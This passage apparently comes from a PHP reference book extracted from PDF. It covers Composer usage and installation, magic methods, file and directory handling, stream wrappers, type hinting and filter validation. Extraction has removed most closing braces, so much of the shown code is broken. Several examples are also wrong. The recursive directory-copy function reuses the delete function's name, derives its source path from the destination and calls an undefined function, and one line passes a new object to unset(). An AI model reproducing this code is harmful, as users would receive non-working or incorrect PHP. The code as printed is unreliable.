selfupdate Updates composer.phar to the latest version.

show Show information about packages

status Show a list of locally modified packages

suggests Show package suggestions

update Updates your dependencies to the latest version according to composer.json, and updates the

composer.lock file.

validate Validates a composer.json and composer.lock

why Shows which packages cause the given package to be installed

why-not Shows which packages prevent the given package from being installed

Section 41.5: Benefits of Using Composer

Composer tracks which versions of packages you have installed in a file called composer.lock, which is
intended to

be committed to version control, so that when the project is cloned in the future, simply running
composer install

will download and install all the project's dependencies.

Composer deals with PHP dependencies on a per-project basis. This makes it easy to have several
projects on one

machine that depend on separate versions of one PHP package.

Composer tracks which dependencies are only intended for dev environments only

composer require --dev phpunit/phpunit

Composer provides an autoloader, making it extremely easy to get started with any package. For
instance, after

installing Goutte with composer require fabpot/goutte, you can immediately start to use Goutte in a
new project:

<?php

require __DIR__ . '/vendor/autoload.php';

$client = new Goutte\Client();

// Start using Goutte

Composer allows you to easily update a project to the latest version that is allowed by your
composer.json. EG.

composer update fabpot/goutte, or to update each of your project's dependencies: composer update.

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Section 41.6: Installation

You may install Composer locally, as part of your project, or globally as a system wide executable.

Locally

To install, run these commands in your terminal.

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"

# to check the validity of the downloaded installer, check here against the SHA-384:

# https://composer.github.io/pubkeys.html

php composer-setup.php

php -r "unlink('composer-setup.php');"

This will download composer.phar (a PHP Archive file) to the current directory. Now you can run php

composer.phar to use Composer, e.g.

php composer.phar install

Globally
To use Composer globally, place the composer.phar file to a directory that is part of your PATH

mv composer.phar /usr/local/bin/composer

Now you can use composer anywhere instead of php composer.phar, e.g.

composer install

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Chapter 42: Magic Methods

Section 42.1: __call() and __callStatic()

__call() and __callStatic() are called when somebody is calling nonexistent object method in object or
static

context.

class Foo

/**

* This method will be called when somebody will try to invoke a method in object

* context, which does not exist, like:

* $foo->method($arg, $arg1);

* First argument will contain the method name(in example above it will be "method"),

* and the second will contain the values of $arg and $arg1 as an array.

*/

public function __call($method, $arguments)

// do something with that information here, like overloading

// or something generic.

// For sake of example let's say we're making a generic class,

// that holds some data and allows user to get/set/has via

// getter/setter methods. Also let's assume that there is some

// CaseHelper which helps to convert camelCase into snake_case.

// Also this method is simplified, so it does not check if there

// is a valid name or

$snakeName = CaseHelper::camelToSnake($method);

// Get get/set/has prefix

$subMethod = substr($snakeName, 0, 3);

// Drop method name.

$propertyName = substr($snakeName, 4);

switch ($subMethod) {

case "get":

return $this->data[$propertyName];

case "set":

$this->data[$propertyName] = $arguments[0];

break;

case "has":

return isset($this->data[$propertyName]);

default:

throw new BadMethodCallException("Undefined method $method");

/**

* __callStatic will be called from static content, that is, when calling a nonexistent

* static method:
*

* Foo::buildSomethingCool($arg);

* First argument will contain the method name(in example above it will be "buildSomethingCool"),

* and the second will contain the value $arg in an array.

* Note that signature of this method is different(requires static keyword). This method was not

* available prior PHP 5.3

*/

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public static function __callStatic($method, $arguments)

// This method can be used when you need something like generic factory

// or something else(to be honest use case for this is not so clear to me).

print_r(func_get_args());

Example:

$instance = new Foo();

$instance->setSomeState("foo");

var_dump($instance->hasSomeState()); // bool(true)

var_dump($instance->getSomeState()); // string "foo"

Foo::exampleStaticCall("test");

// outputs:

Array
(

[0] => exampleCallStatic

[1] => test

Section 42.2: __get(), __set(), __isset() and __unset()

Whenever you attempt to retrieve a certain field from a class like so:

$animal = new Animal();

$height = $animal->height;

PHP invokes the magic method __get($name), with $name equal to "height" in this case. Writing to a
class field like

so:

$animal->height = 10;

Will invoke the magic method __set($name, $value), with $name equal to "height" and $value equal
to 10.

PHP also has two built-in functions isset(), which check if a variable exists, and unset(), which destroys
a variable.

Checking whether a objects field is set like so:

isset($animal->height);

Will invoke the __isset($name) function on that object. Destroying a variable like so:

unset($animal->height);

Will invoke the __unset($name) function on that object.

Normally, when you don't define these methods on your class, PHP just retrieves the field as it is
stored in your

class. However, you can override these methods to create classes that can hold data like an array, but
are usable

like an object:

class Example {
private $data = [];

public function __set($name, $value) {

GoalKicker.com – PHP Notes for Professionals 233

$this->data[$name] = $value;

public function __get($name) {

if (!array_key_exists($name, $this->data)) {

return null;

return $this->data[$name];

public function __isset($name) {

return isset($this->data[$name]);

public function __unset($name) {

unset($this->data[$name]);

$example = new Example();

// Stores 'a' in the $data array with value 15

$example->a = 15;

// Retrieves array key 'a' from the $data array

echo $example->a; // prints 15

// Attempt to retrieve non-existent key from the array returns null

echo $example->b; // prints nothing

// If __isset('a') returns true, then call __unset('a')

if (isset($example->a)) {

unset($example->a));

empty() function and magic methods

Note that calling empty() on a class attribute will invoke __isset() because as the PHP manual states:

empty() is essentially the concise equivalent to !isset($var) || $var == false

Section 42.3: __construct() and __destruct()

__construct() is the most common magic method in PHP, because it is used to set up a class when it is
initialized.

The opposite of the __construct() method is the __destruct() method. This method is called when
there are no

more references to an object that you created or when you force its deletion. PHP's garbage collection
will clean up

the object by first calling its destructor and then removing it from memory.

class Shape {

public function __construct() {

echo "Shape created!\n";

class Rectangle extends Shape {

public $width;

public $height;

GoalKicker.com – PHP Notes for Professionals 234

public function __construct($width, $height) {

parent::__construct();

$this->width = $width;
$this->height = $height;

echo "Created {$this->width}x{$this->height} Rectangle\n";

public function __destruct() {

echo "Destroying {$this->width}x{$this->height} Rectangle\n";

function createRectangle() {

// Instantiating an object will call the constructor with the specified arguments

$rectangle = new Rectangle(20, 50);

// 'Shape Created' will be printed

// 'Created 20x50 Rectangle' will be printed

createRectangle();

// 'Destroying 20x50 Rectangle' will be printed, because

// the `$rectangle` object was local to the createRectangle function, so

// When the function scope is exited, the object is destroyed and its

// destructor is called.

// The destructor of an object is also called when unset is used:

unset(new Rectangle(20, 50));

Section 42.4: __toString()

Whenever an object is treated as a string, the __toString() method is called. This method should return
a string

representation of the class.

class User {

public $first_name;
public $last_name;

public $age;

public function __toString() {

return "{$this->first_name} {$this->last_name} ($this->age)";

$user = new User();

$user->first_name = "Chuck";

$user->last_name = "Norris";

$user->age = 76;

// Anytime the $user object is used in a string context, __toString() is called

echo $user; // prints 'Chuck Norris (76)'

// String value becomes: 'Selected user: Chuck Norris (76)'

$selected_user_string = sprintf("Selected user: %s", $user);

// Casting to string also calls __toString()

$user_as_string = (string) $user;

GoalKicker.com – PHP Notes for Professionals 235

Section 42.5: __clone()

__clone is invoked by use of the clone keyword. It is used to manipulate object state upon cloning,
after the object

has been actually cloned.

class CloneableUser

public $name;

public $lastName;

/**
* This method will be invoked by a clone operator and will prepend "Copy " to the

* name and lastName properties.

*/

public function __clone()

$this->name = "Copy " . $this->name;

$this->lastName = "Copy " . $this->lastName;

Example:

$user1 = new CloneableUser();

$user1->name = "John";

$user1->lastName = "Doe";

$user2 = clone $user1; // triggers the __clone magic method

echo $user2->name; // Copy John

echo $user2->lastName; // Copy Doe

Section 42.6: __invoke()

This magic method is called when user tries to invoke object as a function. Possible use cases may
include some

approaches like functional programming or some callbacks.

class Invokable

/**

* This method will be called if object will be executed like a function:

* $invokable();
*

* Args will be passed as in regular method call.

*/

public function __invoke($arg, $arg, ...)

print_r(func_get_args());

// Example:

$invokable = new Invokable();

$invokable([1, 2, 3]);

// optputs:

Array

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[0] => 1

[1] => 2

[2] => 3

Section 42.7: __sleep() and __wakeup()

__sleep and __wakeup are methods that are related to the serialization process. serialize function
checks if a

class has a __sleep method. If so, it will be executed before any serialization. __sleep is supposed to
return an

array of the names of all variables of an object that should be serialized.

__wakeup in turn will be executed by unserialize if it is present in class. It's intention is to re-establish
resources
and other things that are needed to be initialized upon unserialization.

class Sleepy {

public $tableName;

public $tableFields;

public $dbConnection;

/**

* This magic method will be invoked by serialize function.

* Note that $dbConnection is excluded.

*/

public function __sleep()

// Only $this->tableName and $this->tableFields will be serialized.

return ['tableName', 'tableFields'];

/**

* This magic method will be called by unserialize function.

* For sake of example, lets assume that $this->c, which was not serialized,

* is some kind of a database connection. So on wake up it will get reconnected.

*/

public function __wakeup()

// Connect to some default database and store handler/wrapper returned into

// $this->dbConnection

$this->dbConnection = DB::connect();
}

Section 42.8: __debugInfo()

This method is called by var_dump() when dumping an object to get the properties that should be
shown.

If the method isn't defined on an object, then all public, protected and private properties will be
shown.

— PHP Manual

class DeepThought {

public function __debugInfo() {

return [42];

Version ≤ 5.6

var_dump(new DeepThought());

GoalKicker.com – PHP Notes for Professionals 237

The above example will output:

class DeepThought#1 (0) {

Version ≥ 5.6

var_dump(new DeepThought());

The above example will output:

class DeepThought#1 (1) {

public ${0} =>

int(42)

}
GoalKicker.com – PHP Notes for Professionals 238

Chapter 43: File handling

Parameter Description

filename The filename being read.

use_include_path You can use the optional second parameter and set it to TRUE, if you want to search
for the file

in the include_path, too.

context A context stream resource.

Section 43.1: Convenience functions

Raw direct IO

file_get_contents and file_put_contents provide the ability to read/write from/to a file to/from a PHP
string in a

single call.

file_put_contents can also be used with the FILE_APPEND bitmask flag to append to, instead of
truncate and

overwrite, the file. It can be used along with LOCK_EX bitmask to acquire an exclusive lock to the file
while

proceeding to writing. Bitmask flags can be joined with the | bitwise-OR operator.

$path = "file.txt";

// reads contents in file.txt to $contents

$contents = file_get_contents($path);

// let's change something... for example, convert the CRLF to LF!

$contents = str_replace("\r\n", "\n", $contents);

// now write it back to file.txt, replacing the original contents

file_put_contents($path, $contents);

FILE_APPEND is handy for appending to log files while LOCK_EX helps prevent race condition of file
writing from
multiple processes. For example, to write to a log file about the current session:

file_put_contents("logins.log", "{$_SESSION["username"]} logged in", FILE_APPEND | LOCK_EX);

CSV IO

fgetcsv($file, $length, $separator)

The fgetcsv parses line from open file checking for csv fields. It returns CSV fields in an array on success
or FALSE

on failure.

By default, it will read only one line of the CSV file.

$file = fopen("contacts.csv","r");

print_r(fgetcsv($file));

print_r(fgetcsv($file,5," "));

fclose($file);

contacts.csv

Kai Jim, Refsnes, Stavanger, Norway

Hege, Refsnes, Stavanger, Norway

Output:

Array

[0] => Kai Jim

GoalKicker.com – PHP Notes for Professionals 239

[1] => Refsnes

[2] => Stavanger

[3] => Norway

Array

(
[0] => Hege,

Reading a file to stdout directly

readfile copies a file to the output buffer. readfile() will not present any memory issues, even when
sending large

files, on its own.

$file = 'monkey.gif';

if (file_exists($file)) {

header('Content-Description: File Transfer');

header('Content-Type: application/octet-stream');

header('Content-Disposition: attachment; filename="'.basename($file).'"');

header('Expires: 0');

header('Cache-Control: must-revalidate');

header('Pragma: public');

header('Content-Length: ' . filesize($file));

readfile($file);

exit;

Or from a file pointer

Alternatively, to seek a point in the file to start copying to stdout, use fpassthru instead. In the
following example,

the last 1024 bytes are copied to stdout:

$fh = fopen("file.txt", "rb");

fseek($fh, -1024, SEEK_END);

fpassthru($fh);

Reading a file into an array

file returns the lines in the passed file in an array. Each element of the array corresponds to a line in
the file, with

the newline still attached.

print_r(file("test.txt"));

test.txt

Welcome to File handling

This is to test file handling

Output:

Array

[0] => Welcome to File handling

[1] => This is to test file handling

GoalKicker.com – PHP Notes for Professionals 240

Section 43.2: Deleting files and directories

Deleting files

The unlink function deletes a single file and returns whether the operation was successful.

$filename = '/path/to/file.txt';

if (file_exists($filename)) {

$success = unlink($filename);

if (!$success) {

throw new Exception("Cannot delete $filename");

Deleting directories, with recursive deletion

On the other hand, directories should be deleted with rmdir. However, this function only deletes
empty directories.

To delete a directory with files, delete the files in the directories first. If the directory contains
subdirectories,

recursion may be needed.

The following example scans files in a directory, deletes member files/directories recursively, and
returns the

number of files (not directories) deleted.

function recurse_delete_dir(string $dir) : int {

$count = 0;

// ensure that $dir ends with a slash so that we can concatenate it with the filenames directly

$dir = rtrim($dir, "/\\") . "/";

// use dir() to list files

$list = dir($dir);

// store the next file name to $file. if $file is false, that's all -- end the loop.

while(($file = $list->read()) !== false) {

if($file === "." || $file === "..") continue;

if(is_file($dir . $file)) {

unlink($dir . $file);

$count++;

} elseif(is_dir($dir . $file)) {

$count += recurse_delete_dir($dir . $file);

// finally, safe to delete directory!

rmdir($dir);

return $count;
}

Section 43.3: Getting file information

Check if a path is a directory or a file

The is_dir function returns whether the argument is a directory, while is_file returns whether the
argument is a

file. Use file_exists to check if it is either.

$dir = "/this/is/a/directory";

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$file = "/this/is/a/file.txt";

echo is_dir($dir) ? "$dir is a directory" : "$dir is not a directory", PHP_EOL,

is_file($dir) ? "$dir is a file" : "$dir is not a file", PHP_EOL,

file_exists($dir) ? "$dir exists" : "$dir doesn't exist", PHP_EOL,

is_dir($file) ? "$file is a directory" : "$file is not a directory", PHP_EOL,

is_file($file) ? "$file is a file" : "$file is not a file", PHP_EOL,

file_exists($file) ? "$file exists" : "$file doesn't exist", PHP_EOL;

This gives:

/this/is/a/directory is a directory

/this/is/a/directory is not a file

/this/is/a/directory exists

/this/is/a/file.txt is not a directory

/this/is/a/file.txt is a file

/this/is/a/file.txt exists

Checking file type

Use filetype to check the type of a file, which may be:

fifo

char
dir

block

link

file

socket

unknown

Passing the filename to the filetype directly:

echo filetype("~"); // dir

Note that filetype returns false and triggers an E_WARNING if the file doesn't exist.

Checking readability and writability

Passing the filename to the is_writable and is_readable functions check whether the file is writable or
readable

respectively.

The functions return false gracefully if the file does not exist.

Checking file access/modify time

Using filemtime and fileatime returns the timestamp of the last modification or access of the file. The
return

value is a Unix timestamp -- see Working with Dates and Time for details.

echo "File was last modified on " . date("Y-m-d", filemtime("file.txt"));

echo "File was last accessed on " . date("Y-m-d", fileatime("file.txt"));

Get path parts with fileinfo

$fileToAnalyze = ('/var/www/image.png');

$filePathParts = pathinfo($fileToAnalyze);

GoalKicker.com – PHP Notes for Professionals 242

echo '<pre>';

print_r($filePathParts);
echo '</pre>';

This example will output:

Array

[dirname] => /var/www

[basename] => image.png

[extension] => png

[filename] => image

Which can be used as:

$filePathParts['dirname']

$filePathParts['basename']

$filePathParts['extension']

$filePathParts['filename']

Parameter Details

$path The full path of the file to be parsed

$option One of four available options [PATHINFO_DIRNAME, PATHINFO_BASENAME,

PATHINFO_EXTENSION or

PATHINFO_FILENAME]

If an option (the second parameter) is not passed, an associative array is returned otherwise a string is

returned.

Does not validate that the file exists.

Simply parses the string into parts. No validation is done on the file (no mime-type checking, etc.)

The extension is simply the last extension of $path The path for the file image.jpg.png would be .png
even if

it technically a .jpg file. A file without an extension will not return an extension element in the array.
Section 43.4: Stream-based file IO

Opening a stream

fopen opens a file stream handle, which can be used with various functions for reading, writing,
seeking and other

functions on top of it. This value is of resource type, and cannot be passed to other threads persisting
its

functionality.

$f = fopen("errors.log", "a"); // Will try to open errors.log for writing

The second parameter is the mode of the file stream:

Mode Description

r Open in read only mode, starting at the beginning of the file

r+ Open for reading and writing, starting at the beginning of the file

open for writing only, starting at the beginning of the file. If the file exists it will empty the file. If it
doesn't

exist it will attempt to create it.

w+ open for reading and writing, starting at the beginning of the file. If the file exists it will empty the
file. If it

doesn't exist it will attempt to create it.

a open a file for writing only, starting at the end of the file. If the file does not exist, it will try to create
it

a+ open a file for reading and writing, starting at the end of the file. If the file does not exist, it will try
to create

it

GoalKicker.com – PHP Notes for Professionals 243

x create and open a file for writing only. If the file exists the fopen call will fail

x+ create and open a file for reading and writing. If the file exists the fopen call will fail

c
open the file for writing only. If the file does not exist it will try to create it. It will start writing at the

beginning of the file, but will not empty the file ahead of writing

c+ open the file for reading and writing. If the file does not exist it will try to create it. It will start
writing at the

beginning of the file, but will not empty the file ahead of writing

Adding a t behind the mode (e.g. a+b, wt, etc.) in Windows will translate "\n" line endings to "\r\n"
when working

with the file. Add b behind the mode if this is not intended, especially if it is a binary file.

The PHP application should close streams using fclose when they are no longer used to prevent the
Too many

open files error. This is particularly important in CLI programs, since the streams are only closed when
the

runtime shuts down -- this means that in web servers, it may not be necessary (but still should, as a
practice to

prevent resource leak) to close the streams if you do not expect the process to run for a long time, and
will not

open many streams.

Reading

Using fread will read the given number of bytes from the file pointer, or until an EOF is met.

Reading lines

Using fgets will read the file until an EOL is reached, or the given length is read.

Both fread and fgets will move the file pointer while reading.

Reading everything remaining

Using stream_get_contents will all remaining bytes in the stream into a string and return it.

Adjusting file pointer position

Initially after opening the stream, the file pointer is at the beginning of the file (or the end, if the mode
a is used).

Using the fseek function will move the file pointer to a new position, relative to one of three values:
SEEK_SET: This is the default value; the file position offset will be relative to the beginning of the file.

SEEK_CUR: The file position offset will be relative to the current position.

SEEK_END: The file position offset will be relative to the end of the file. Passing a negative offset is the
most

common use for this value; it will move the file position to the specified number of bytes before the
end of

file.

rewind is a convenience shortcut of fseek($fh, 0, SEEK_SET).

Using ftell will show the absolute position of the file pointer.

For example, the following script reads skips the first 10 bytes, reads the next 10 bytes, skips 10 bytes,
reads the

next 10 bytes, and then the last 10 bytes in file.txt:

$fh = fopen("file.txt", "rb");

fseek($fh, 10); // start at offset 10

echo fread($fh, 10); // reads 10 bytes

fseek($fh, 10, SEEK_CUR); // skip 10 bytes

echo fread($fh, 10); // read 10 bytes

fseek($fh, -10, SEEK_END); // skip to 10 bytes before EOF

echo fread($fh, 10); // read 10 bytes

GoalKicker.com – PHP Notes for Professionals 244

fclose($fh);

Writing

Using fwrite writes the provided string to the file starting at the current file pointer.

fwrite($fh, "Some text here\n");

Section 43.5: Moving and Copying files and directories

Copying files

copy copies the source file in the first argument to the destination in the second argument. The
resolved

destination needs to be in a directory that is already created.

if (copy('test.txt', 'dest.txt')) {

echo 'File has been copied successfully';

} else {

echo 'Failed to copy file to destination given.'

Copying directories, with recursion

Copying directories is pretty much similar to deleting directories, except that for files copy instead of
unlink is used,

while for directories, mkdir instead of rmdir is used, at the beginning instead of being at the end of the
function.

function recurse_delete_dir(string $src, string $dest) : int {

$count = 0;

// ensure that $src and $dest end with a slash so that we can concatenate it with the filenames

directly

$src = rtrim($dest, "/\\") . "/";

$dest = rtrim($dest, "/\\") . "/";

// use dir() to list files

$list = dir($src);

// create $dest if it does not already exist

@mkdir($dest);

// store the next file name to $file. if $file is false, that's all -- end the loop.

while(($file = $list->read()) !== false) {

if($file === "." || $file === "..") continue;

if(is_file($src . $file)) {
copy($src . $file, $dest . $file);

$count++;

} elseif(is_dir($src . $file)) {

$count += recurse_copy_dir($src . $file, $dest . $file);

return $count;

Renaming/Moving

Renaming/Moving files and directories is much simpler. Whole directories can be moved or renamed
in a single call,

using the rename function.

rename("~/file.txt", "~/file.html");

GoalKicker.com – PHP Notes for Professionals 245

rename("~/dir", "~/old_dir");

rename("~/dir/file.txt", "~/dir2/file.txt");

Section 43.6: Minimize memory usage when dealing with large

files

If we need to parse a large file, e.g. a CSV more than 10 Mbytes containing millions of rows, some use
file or

file_get_contents functions and end up with hitting memory_limit setting with

Allowed memory size of XXXXX bytes exhausted

error. Consider the following source (top-1m.csv has exactly 1 million rows and is about 22 Mbytes of
size)

var_dump(memory_get_usage(true));

$arr = file('top-1m.csv');

var_dump(memory_get_usage(true));
This outputs:

int(262144)

int(210501632)

because the interpreter needed to hold all the rows in $arr array, so it consumed ~200 Mbytes of
RAM. Note that

we haven't even done anything with the contents of the array.

Now consider the following code:

var_dump(memory_get_usage(true));

$index = 1;

if (($handle = fopen("top-1m.csv", "r")) !== FALSE) {

while (($row = fgetcsv($handle, 1000, ",")) !== FALSE) {

file_put_contents('top-1m-reversed.csv',$index . ',' . strrev($row[1]) . PHP_EOL,

FILE_APPEND);

$index++;

fclose($handle);

var_dump(memory_get_usage(true));

which outputs

int(262144)

int(262144)

so we don't use a single extra byte of memory, but parse the whole CSV and save it to another file
reversing the

value of the 2nd column. That's because fgetcsv reads only one row and $row is overwritten in every
loop.

GoalKicker.com – PHP Notes for Professionals 246

Chapter 44: Streams

Parameter Name Description

Stream Resource The data provider consisting of the <scheme>://<target> syntax

Section 44.1: Registering a stream wrapper

A stream wrapper provides a handler for one or more specific schemes.

The example below shows a simple stream wrapper that sends PATCH HTTP requests when the stream
is closed.

// register the FooWrapper class as a wrapper for foo:// URLs.

stream_wrapper_register("foo", FooWrapper::class, STREAM_IS_URL) or die("Duplicate stream

wrapper

registered");

class FooWrapper {

// this will be modified by PHP to show the context passed in the current call.

public $context;

// this is used in this example internally to store the URL

private $url;

// when fopen() with a protocol for this wrapper is called, this method can be implemented to

store data like the host.

public function stream_open(string $path, string $mode, int $options, string &$openedPath) :

bool {

$url = parse_url($path);

if($url === false) return false;

$this->url = $url["host"] . "/" . $url["path"];

return true;

// handles calls to fwrite() on this stream

public function stream_write(string $data) : int {

$this->buffer .= $data;

return strlen($data);

// handles calls to fclose() on this stream

public function stream_close() {

$curl = curl_init("http://" . $this->url);

curl_setopt($curl, CURLOPT_POSTFIELDS, $this->buffer);

curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "PATCH");

curl_exec($curl);

curl_close($curl);

$this->buffer = "";

// fallback exception handler if an unsupported operation is attempted.

// this is not necessary.

public function __call($name, $args) {

throw new \RuntimeException("This wrapper does not support $name");

// this is called when unlink("foo://something-else") is called.

public function unlink(string $path) {

$url = parse_url($path);

$curl = curl_init("http://" . $url["host"] . "/" . $url["path"]);

curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "DELETE");

GoalKicker.com – PHP Notes for Professionals 247

curl_exec($curl);

curl_close($curl);
}

This example only shows some examples of what a generic stream wrapper would contain. These are
not all

methods available. A full list of methods that can be implemented can be found at
http://php.net/streamWrapper.

GoalKicker.com – PHP Notes for Professionals 248

Chapter 45: Type hinting

Section 45.1: Type hinting classes and interfaces

Type hinting for classes and interfaces was added in PHP 5.

Class type hint

<?php

class Student

public $name = 'Chris';

class School

public $name = 'University of Edinburgh';

function enroll(Student $student, School $school)

echo $student->name . ' is being enrolled at ' . $school->name;

$student = new Student();

$school = new School();

enroll($student, $school);

The above script outputs:

Chris is being enrolled at University of Edinburgh

Interface type hint

<?php

interface Enrollable {};

interface Attendable {};

class Chris implements Enrollable

public $name = 'Chris';

class UniversityOfEdinburgh implements Attendable

public $name = 'University of Edinburgh';

function enroll(Enrollable $enrollee, Attendable $premises)

echo $enrollee->name . ' is being enrolled at ' . $premises->name;

$chris = new Chris();

$edinburgh = new UniversityOfEdinburgh();

GoalKicker.com – PHP Notes for Professionals 249

enroll($chris, $edinburgh);

The above example outputs the same as before:

Chris is being enrolled at University of Edinburgh

Self type hints

The self keyword can be used as a type hint to indicate that the value must be an instance of the class
that

declares the method.

Section 45.2: Type hinting scalar types, arrays and callables

Support for type hinting array parameters (and return values after PHP 7.1) was added in PHP 5.1 with
the keyword

array. Any arrays of any dimensions and types, as well as empty arrays, are valid values.

Support for type hinting callables was added in PHP 5.4. Any value that is_callable() is valid for
parameters and

return values hinted callable, i.e. Closure objects, function name strings and array(class_name|object,

method_name).

If a typo occurs in the function name such that it is not is_callable(), a less obvious error message
would be

displayed:

Fatal error: Uncaught TypeError: Argument 1 passed to foo() must be of the type callable, string/array

given

function foo(callable $c) {}

foo("count"); // valid

foo("Phar::running"); // valid

foo(["Phar", "running"); // valid

foo([new ReflectionClass("stdClass"), "getName"]); // valid

foo(function() {}); // valid

foo("no_such_function"); // callable expected, string given

Nonstatic methods can also be passed as callables in static format, resulting in a deprecation warning
and level

E_STRICT error in PHP 7 and 5 respectively.

Method visibility is taken into account. If the context of the method with the callable parameter does
not have access

to the callable provided, it will end up as if the method does not exist.

class Foo{

private static function f(){

echo "Good" . PHP_EOL;

public static function r(callable $c){

$c();

function r(callable $c){}

Foo::r(["Foo", "f"]);

GoalKicker.com – PHP Notes for Professionals 250

r(["Foo", "f"]);

Output:

Fatal error: Uncaught TypeError: Argument 1 passed to r() must be callable, array given

Support for type hinting scalar types was added in PHP 7. This means that we gain type hinting
support for

booleans, integers, floats and strings.

<?php

function add(int $a, int $b) {

return $a + $b;

var_dump(add(1, 2)); // Outputs "int(3)"

By default, PHP will attempt to cast any provided argument to match its type hint. Changing the call to
add(1.5, 2)
gives exactly the same output, since the float 1.5 was cast to int by PHP.

To stop this behavior, one must add declare(strict_types=1); to the top of every PHP source file that
requires it.

<?php

declare(strict_types=1);

function add(int $a, int $b) {

return $a + $b;

var_dump(add(1.5, 2));

The above script now produces a fatal error:

Fatal error: Uncaught TypeError: Argument 1 passed to add() must be of the type integer, float given

An Exception: Special Types

Some PHP functions may return a value of type resource. Since this is not a scalar type, but a special
type, it is not

possible to type hint it.

As an example, curl_init() will return a resource, as well as fopen(). Of course, those two resources
aren't

compatible to each other. Because of that, PHP 7 will always throw the following TypeError when type
hinting

resource explicitly:

TypeError: Argument 1 passed to sample() must be an instance of resource, resource given

Section 45.3: Nullable type hints

Parameters

Nullable type hint was added in PHP 7.1 using the ? operator before the type hint.

GoalKicker.com – PHP Notes for Professionals 251

function f(?string $a) {}

function g(string $a) {}

f(null); // valid

g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given

Before PHP 7.1, if a parameter has a type hint, it must declare a default value null to accept null
values.

function f(string $a = null) {}

function g(string $a) {}

f(null); // valid

g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given

Return values

In PHP 7.0, functions with a return type must not return null.

In PHP 7.1, functions can declare a nullable return type hint. However, the function must still return
null, not void

(no/empty return statements).

function f() : ?string {

return null;

function g() : ?string {}

function h() : ?string {}

f(); // OK

g(); // TypeError: Return value of g() must be of the type string or null, none returned

h(); // TypeError: Return value of h() must be of the type string or null, none returned

Section 45.4: Type hinting generic objects

Since PHP objects don't inherit from any base class (including stdClass), there is no support for type
hinting a

generic object type.

For example, the below will not work.

<?php
function doSomething(object $obj) {

return $obj;

class ClassOne {}

class ClassTwo {}

$classOne= new ClassOne();

$classTwo= new ClassTwo();

doSomething($classOne);

doSomething($classTwo);

And will throw a fatal error:

Fatal error: Uncaught TypeError: Argument 1 passed to doSomething() must be an instance of object,

instance of OperationOne given

GoalKicker.com – PHP Notes for Professionals 252

A workaround to this is to declare a degenerate interface that defines no methods, and have all of
your objects

implement this interface.

<?php

interface Object {}

function doSomething(Object $obj) {

return $obj;

class ClassOne implements Object {}

class ClassTwo implements Object {}

$classOne = new ClassOne();

$classTwo = new ClassTwo();

doSomething($classOne);
doSomething($classTwo);

Section 45.5: Type Hinting No Return(Void)

In PHP 7.1, the void return type was added. While PHP has no actual void value, it is generally
understood across

programming languages that a function that returns nothing is returning void. This should not be
confused with

returning null, as null is a value that can be returned.

function lacks_return(): void {

// valid

Note that if you declare a void return, you cannot return any values or you will get a fatal error:

function should_return_nothing(): void {

return null; // Fatal error: A void function must not return a value

However, using return to exit the function is valid:

function returns_nothing(): void {

return; // valid

GoalKicker.com – PHP Notes for Professionals 253

Chapter 46: Filters & Filter Functions

Parameter Details

variable Value to filter. Note that scalar values are converted to string internally before they are
filtered.

------ ------

filter

The ID of the filter to apply. The Types of filters manual page lists the available filters.If omitted,

FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no

filtering

taking place by default.

------ ------

options

Associative array of options or bitwise disjunction of flags. If filter accepts options, flags can be

provided in "flags" field of array. For the "callback" filter, callable type should be passed. The callback

must accept one argument, the value to be filtered, and return the value after filtering/sanitizing it.

This extension filters data by either validating or sanitizing it. This is especially useful when the data
source contains

unknown (or foreign) data, like user supplied input. For example, this data may come from an HTML
form.

Section 46.1: Validating Boolean Values

var_dump(filter_var(true, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true

var_dump(filter_var(false, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

var_dump(filter_var(1, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true

var_dump(filter_var(0, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

var_dump(filter_var('1', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true

var_dump(filter_var('0', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

var_dump(filter_var('', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

var_dump(filter_var(' ', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true

var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

var_dump(filter_var([], FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // NULL

var_dump(filter_var(null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

Section 46.2: Validating A Number Is A Float

Validates value as float, and converts to float on success.

var_dump(filter_var(1, FILTER_VALIDATE_FLOAT));

var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT));

var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT));

var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1', FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT));

var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT));

var_dump(filter_var(1, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var('1', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

